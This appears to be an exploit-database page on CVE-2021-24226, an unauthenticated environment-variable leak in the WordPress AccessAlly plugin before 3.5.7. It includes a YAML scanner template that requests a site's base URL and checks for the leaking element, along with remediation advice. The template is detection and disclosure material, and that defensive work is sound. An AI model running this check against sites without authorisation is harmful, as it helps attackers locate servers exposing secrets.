CVE-2021-24226: AccessAlly <3.5.7 - Sensitive Information Leakage

2025-08-01 AccessAlly PoC Public

Description

WordPress AccessAlly plugin before 3.5.7 allows sensitive information leakage because the file \"resource/frontend/product/product-shortcode.php\" (which is responsible for the [accessally_order_form] shortcode) dumps serialize($_SERVER), which contains all environment variables. The leakage occurs on all public facing pages containing the [accessally_order_form] shortcode, and no login or administrator role is required.

PoC

id: CVE-2021-24226

info:
  name: AccessAlly <3.5.7 - Sensitive Information Leakage
  author: dhiyaneshDK
  severity: high
  description: WordPress AccessAlly plugin before 3.5.7 allows sensitive information leakage because the file \"resource/frontend/product/product-shortcode.php\" (which is responsible for the [accessally_order_form] shortcode) dumps serialize($_SERVER), which contains all environment variables. The leakage occurs on all public facing pages containing the [accessally_order_form] shortcode, and no login or administrator role is required.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information.
  remediation: |
    Upgrade AccessAlly to version 3.5.7 or higher to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/8e3e89fd-e380-4108-be23-00e87fbaad16
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24226
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24226
    cwe-id: CWE-200
    epss-score: 0.05404
    epss-percentile: 0.92274
    cpe: cpe:2.3:a:accessally:accessally:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: accessally
    product: accessally
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,wpscan,accessally,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<div id="accessally-testing-data"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ec2bb620afc865add91ff01a679c2803ec24965848726b19e4d8acfa66631a86022100e29438474d998f563fb2eee423a989d06b13d501fc54e56e9f573fee136f830b:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities